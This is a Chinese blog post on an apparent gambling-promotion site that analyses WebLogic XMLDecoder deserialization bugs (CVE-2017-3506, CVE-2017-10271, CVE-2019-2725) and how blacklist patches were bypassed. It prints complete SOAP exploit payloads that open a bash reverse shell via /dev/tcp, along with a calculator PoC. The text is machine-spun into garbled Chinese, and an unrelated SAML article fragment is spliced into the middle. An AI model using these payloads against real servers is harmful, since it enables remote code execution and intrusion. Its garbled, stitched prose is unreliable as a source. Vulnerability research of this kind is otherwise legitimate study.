xmldecoder反序列化的补钉与绕过 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

xmldecoder反序列化的补钉与绕过

申博_新闻事件 申博 108次浏览 未收录 0个评论

从cve-2017-3506谈起

官方说这洞主若是web service模块的题目,那我们来动态调试一下
exp
xmldecoder反序列化的补钉与绕过

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

看一下挪用栈
xmldecoder反序列化的补钉与绕过
以是终究我们的payload会挪用举行readobject反序列化
然则这个readobject确切XMLDecoder的一个要领,而这个XMLDecoder却不是weblogic特有的类而是java的一个通用类

以是很轻易就能够发明这洞素质并非weblogic的题目,然则weblogic确切对其举行了修补,要领很粗犷

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

简朴来讲就是限定了object标签,使其不克不及运用object建立指定类的实例,然则这类黑名单修补要领实在是太憨憨了,以是就有了CVE-2017-10271

cve-2017-10271

exp

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

我们能够看到这里我们运用了void来替换object来绕过了黑名单过滤,固然后续不止void还能够运用new症结词来替换object,不晓得人人看到这exp的时刻有无迷惑,为何void元素和new元素能够替换object呢?这是XMLDecoder的题目照样weblogic的题目?另有无其余元素也能够被特别处置惩罚呢?带着这些疑问上网查了一下,然则网上大部分都是你抄我,他抄你的基础都是跟踪到readobject就完毕了,以是没法之下我问了一下chybeta师傅,他给了我一个链接
https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html
xmldecoder反序列化的补钉与绕过
然则这段英文我不论是读原文照样用谷歌翻译成中文都没法明白(吃了没文化的亏),以是绝知此事还得动态调试
这里因为我已晓得题目大抵出在了XMLDecoder内里,以是就把XMLDecoder拉出来零丁调试了
xmlDecode

如安在SAML中查找bug——第二局部

前言 本文是关于如何在安全断言标记语言(Security Assertion Markup Language,SAML)中查找Bug的系列文章中的第二篇。本文将研究SAML漏洞,以及如何使用BurpSuite插件SAML Raider测试这些漏洞。如果您对于SAML和XML签名还没有一个大体的知识脉络,那么请查看我们介绍基础知识的第I部分。 SAML RAIDER 本文的第一个知识点是学习SAML Raider。SAML Raider是一款具有强大功能的SAML测试工具。SAML Raider的创建者Roland Bischofberger和Emanuel Duss将该插件描述为用于测试SAML基础架构的Burp Suite扩展。它包含两个核心功能:操作SAML消息以

package demo.xdsec;
import com.sun.beans.decoder.DocumentHandler;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;
import java.io.IOException;

public class xmlDecode{

    public static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xdsec = new XMLDecoder(bis);
        xdsec.readObject();
        xdsec.close();
    }


    public static void main(String[] args) throws IOException {
        String path = "src/poc.xml";
        try {
            XMLDecode_Deserialize(path);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="2">
            <void index="0">
                <string>open</string>
            </void>
            <void index="1">
                <string>/Applications/Calculator.app</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="2">
            <void index="0">
                <string>open</string>
            </void>
            <void index="1">
                <string>/Applications/Calculator.app</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>

运转,弹出计算器
xmldecoder反序列化的补钉与绕过证实我们的理论没题目,我们下断点跟一下
在readobject下断点
xmldecoder反序列化的补钉与绕过
发明其挪用了parsingComplete函数,继续跟入
xmldecoder反序列化的补钉与绕过
发明挪用了parse函数跟入看一下
xmldecoder反序列化的补钉与绕过
这里做了一些权限搜检以后跟入
SAXParserFactory.newInstance().newSAXParser().parse
背面的挪用栈比较深,大抵是做了一些取xml版本,头信息的操纵这里给出一个挪用栈图,有兴致的能够自身跟一下
xmldecoder反序列化的补钉与绕过
然后我们来到了症结的处所
xmldecoder反序列化的补钉与绕过
注重一下this.handlers参数,这里包含了一切元素对应的剖析器
xmldecoder反序列化的补钉与绕过
若是这里我们剖析的元素是array,以是我们会挪用arrayElementHandler的组织函数去实例化一个arrayElementHandler的类对象,然后设置一些属性,在这里我们能够重点看一下
this.handler.addAttribute这一步操纵也就是若是没有length属性的话则会挪用父类也就是newelementhandler的addAttribute要领
xmldecoder反序列化的补钉与绕过
这里因为我们的payload是<array class="java.lang.String" length="2">以是第一属性是class不是length,以是须要挪用newelementhandler的addAttribute要领,我们看一下
xmldecoder反序列化的补钉与绕过
这里界说了对class属性的处置惩罚历程,也就是会返回我们经由过程class属性的类,ok,看到这里我们再看看object元素的处置惩罚
xmldecoder反序列化的补钉与绕过
注重这里的object依旧继续newelementhandler以是,依旧是挪用newelement的addAttribute,以是能够取得类,这也证实的new元素自身能够替换class,然后我们再来看看void元素
xmldecoder反序列化的补钉与绕过
看到这里我们的迷惑应当处理了,也就是继续了objecthandlerelement或许newhandlerelement的元素能够替换object元素,那有人一定有疑问为何我们方才提到的array元素不可,实在我们当地测一下就能够晓得题目出在那里了,我们取得的class终究会在实行endelement挪用对应handler的getValueObject函数举行取值
xmldecoder反序列化的补钉与绕过
我们看看分歧handler的getValueObject的完成
array
xmldecoder反序列化的补钉与绕过
object
xmldecoder反序列化的补钉与绕过
我们能够发明arrayelementhandler是运用Array.newInstance建立array的实例,而不是我们传入的类的实例
篇幅有限,这里有无其余可替换的元素人人能够自行去看一下。
然后实行到ValueObjectImpl.create里的getvalue
xmldecoder反序列化的补钉与绕过经由过程反射终究实行代码

cve-2019-2725

就在weblogic认为万事大吉的时刻,时隔两年
又出了新的绕过体式格局,我们来看一下最新的补钉

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if (qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if (qName.equalsIgnoreCase("class")) {
               throw new IllegalStateException("Invalid element qName:class");
            } else if (qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if (qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if (qName.equalsIgnoreCase("void")) {
                  for(int i = 0; i < attributes.getLength(); ++i) {
                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                     }
                  }
               }
               if (qName.equalsIgnoreCase("array")) {
                  String attClass = attributes.getValue("class");
                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
                  String lengthString = attributes.getValue("length");
                  if (lengthString != null) {
                     try {
                        int length = Integer.valueOf(lengthString);
                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed array length limitation");
                        }
                        this.overallarraylength += length;
                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed over all array limitation.");
                        }
                     } catch (NumberFormatException var8) {

此次重点在于把class元素也禁用了,我们来看一下classelementhandler
xmldecoder反序列化的补钉与绕过
这里我们classelementhandler继续的是stringhandler而且我们的类并非经由过程属性传入的,以是能够一定并非我们之前的体式格局,然则他有一个很有意义的getValue要领,返回值就是我们传入的类,经由过程上面的剖析,我们在一个元素完毕的时刻也就是endelement的要领会挪用对应handler的getValueObject,这里因为classelementhandler没有getValueObject要领,以是会挪用父类的getValueObject要领,也就是会挪用stringelementhandler的getValueObject
xmldecoder反序列化的补钉与绕过
然后会挪用classelementhandler的getValue要领,终究返回对应的类,然则这里有个题目method症结词被ban了以是只能挪用该类的组织要领,而且因为array只能传入byte属性,以是我们须要一个类的组织要领接收一个字节数组而且有相似反射或许readobject的敏感操纵,网上大多都是经由过程UnitOfWorkChangeSet这个类举行反序列化操纵的xmldecoder反序列化的补钉与绕过显着满足要求!!!以是接下来能够应用yso的jdk7u21的或许JtaTransactionManager

总结

payload太长就不发了,有兴致的小伙伴能够自行组织,实在xmldecoder反序列化的题目最早在2013年就被提出了,理论上在JDK 1.4~JDK 11中都存在反序列化破绽平安风险,而且运用黑名单来打补钉的体式格局一直不太靠谱,总觉得在不久的将来会涌现下一个cve-xxxx-xxxx


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明xmldecoder反序列化的补钉与绕过
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址